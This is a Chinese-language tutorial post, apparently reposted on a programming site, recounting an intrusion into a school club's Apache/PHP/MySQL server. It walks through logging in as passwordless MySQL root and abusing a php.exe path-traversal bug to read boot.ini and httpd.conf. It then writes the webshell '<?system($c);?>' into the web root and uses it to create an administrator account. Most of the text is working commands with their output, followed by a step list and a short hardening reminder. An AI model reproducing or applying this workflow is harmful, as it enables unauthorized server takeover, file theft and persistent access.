程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> MYSQL數據庫 >> 關於MYSQL數據庫 >> 看緊你的3306端口,一次通過mysql的入侵_MySQL教程

看緊你的3306端口,一次通過mysql的入侵_MySQL教程

編輯:關於MYSQL數據庫

用superscan掃了一下
某個c類的網段,尋找開放80端口的機器,結果就只有一台機器
開放了80端口,試著連了一下,是我們學校某個社團的的主頁。
從端口的banner來看應該是apache(win32),證實一下
telnet 211.87.xxx.xxx
get(回車)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD Html 2.0//EN">
<Html><HEAD>
<TITLE>501 Method
Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
get to /index
.Html not supported.<P>
Invalid method in request get<P>
<HR>
<ADDRESS>apache/1.3.2
2 Server at www.xxxxxx.com Port 80</ADDRESS>
</BODY></Html> 
 

 

遺失對主機的連接。
C:>
呵呵,這下看得更清楚了

 

據我猜測,應該是"apache+MySQL+PHP"的黃金組合吧
習慣性的MySQL -h 211.87.xxx.xxx
果然連上了
Welcome to the MySQL monitor. Commands end with or g.
Your MySQL connection id is 17 to server version: 3.23.53-max-nt


Type help; or h for help. Type c to clear the buffer.


MySQL>


斷開試著
MySQL -h 211.87.xxx.xxx -u root -p
passWord:
Welcome to the MySQL monitor. Commands end with or g.
Your MySQL connection id is 18 to server version: 3.23.53-max-nt


Type help; or h for help. Type c to clear the buffer.


MySQL>
呵呵,大家看到了他的root用戶沒有密碼,這是我今天要說的第一個主題。
這是相當的危險的,碰見這種情況,有99.999%的可能可以進入
既然使用的apache+PHP,只要找到他在本地存放的web的物理路徑就為所欲為了
呵呵
下一個問題是我今天要說的重點怎麼樣才能知道那台主機的存放的web的物理路徑?
方法有很多種,在這裡我介紹2種方法供初學者參考
首先要告訴大家的是低版本的apache+PHP有一個漏洞
提http://xxx.xxxx.xxx.xxx/php/php.exe?對方的物理文件名
就可以把那個物理文件下載下來。


於是提http://211.87.xxx.xxx/php/php.exe?c:a.txt
返回
No input file specifIEd. (沒有這個漏洞的話提示找不到網頁)
好的,這說明他有這個漏洞。
在提http://211.87.xxx.xxx/php/php.exe?c:boot.ini
返回
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)Windows [Operating


systems] multi(0)disk(0)rdisk(0)partition(1)WINDOWS="Microsoft Windows XP Professional"


/fastdetect
呵呵,裝的還是xp。
好了,我們可以猜測對方apache的conf文件的物理位置了
http://211.87.xxx.xxx/php/php.exe?c:apacheconfhttpd.conf
No input file specifIEd.
http://211.87.xxx.xxx/php/php.exe?d:apacheconfhttpd.conf
No input file specifIEd.
http://211.87.xxx.xxx/php/php.exe?e:apacheconfhttpd.conf
No input file specifIEd.
http://211.87.xxx.xxx/php/php.exe?c:Program Filesapacheconfhttpd.conf
No input file specifIEd.
http://211.87.xxx.xxx/php/php.exe?f:apacheconfhttpd.conf
猜到了,返回了好多東西
找到我們想要的
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "D:homepage"
看得出來對方的主目錄是D:homepage
下面的事就好辦了,現在就想得到shell?
先別急,我們先來看看另一種方法
那就是利用MySQL的錯誤
隨便的浏覽一下他的網頁找到一處利用MySQL的地方
http://211.87.xxx.xxx/skonline/study/list.php?id=14


長得太帥了,哈哈哈哈
提交
http://211.87.xxx.xxx/skonline/study/list.php?id=14
返回
Warning: SupplIEd argument is not a valid MySQL result resource in


d:homepageskonlinestudylist.PHP on line 231
呵呵,一覽無余。
然後,然後就是制造我們的shell
MySQL -h 211.87.xxx.xxx -u root -p
passWord:
Welcome to the MySQL monitor. Commands end with or g.
Your MySQL connection id is 18 to server version: 3.23.53-max-nt


Type help; or h for help. Type c to clear the buffer.


MySQL> use test;
Database changed
MySQL> create table t(cmd text);
Query OK, 0 rows affected (0.08 sec)


MySQL> insert into t values(<?system($c);?>);
Query OK, 1 row affected (12.52 sec)


MySQL> select * from t into d:\homepage\test.PHP;


我的shell很簡單<?system($c);?>,不到20個字符,但他已經足夠了
可以讓我執行任意命令,由此足以看出PHP的強大。


怎麼用?
提交
http://211.87.xxx.xxx/test.php?c=net ;user kid /add
命令成功完成

  
http://211.87.xxx.xxx/test.php?c=net ;localgroup administrators kid /add
命令成功完成


呵呵,測試成功,通過!
剩下的就是你自由發揮了。


由此我們不難總結出這一類的入侵步驟:
1,找到沒有密碼的3306端口
2,找到對方的web物理路徑
3,制造shell
4,後續工作


呵呵,在這裡提醒大家,如果你想要或正在用MySQL的時候
千萬要給自己的root設上一個強有力的密碼。
看緊你的3306,呵呵。

 

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved